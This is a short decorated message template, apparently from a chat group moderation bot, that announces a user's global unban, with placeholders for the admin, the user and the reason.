~\n°───────❅───────°\n\n🍂 𝘜𝘯-𝘎𝘣𝘢𝘯𝘯𝘦𝘥 𝘉𝘺 ~ {0} [ @{1} ] !\n• ─────── •\n⛓️ 𝘜𝘯-𝘎𝘉𝘢𝘯𝘯𝘦𝘥 𝘜𝘴𝘦𝘳 ~ {2} !\n• ─────── •\n☘️ 𝘞𝘪𝘵𝘩 𝘙𝘦𝘢𝘴𝘰𝘯 ~ {3}\n\n•───────────────────•"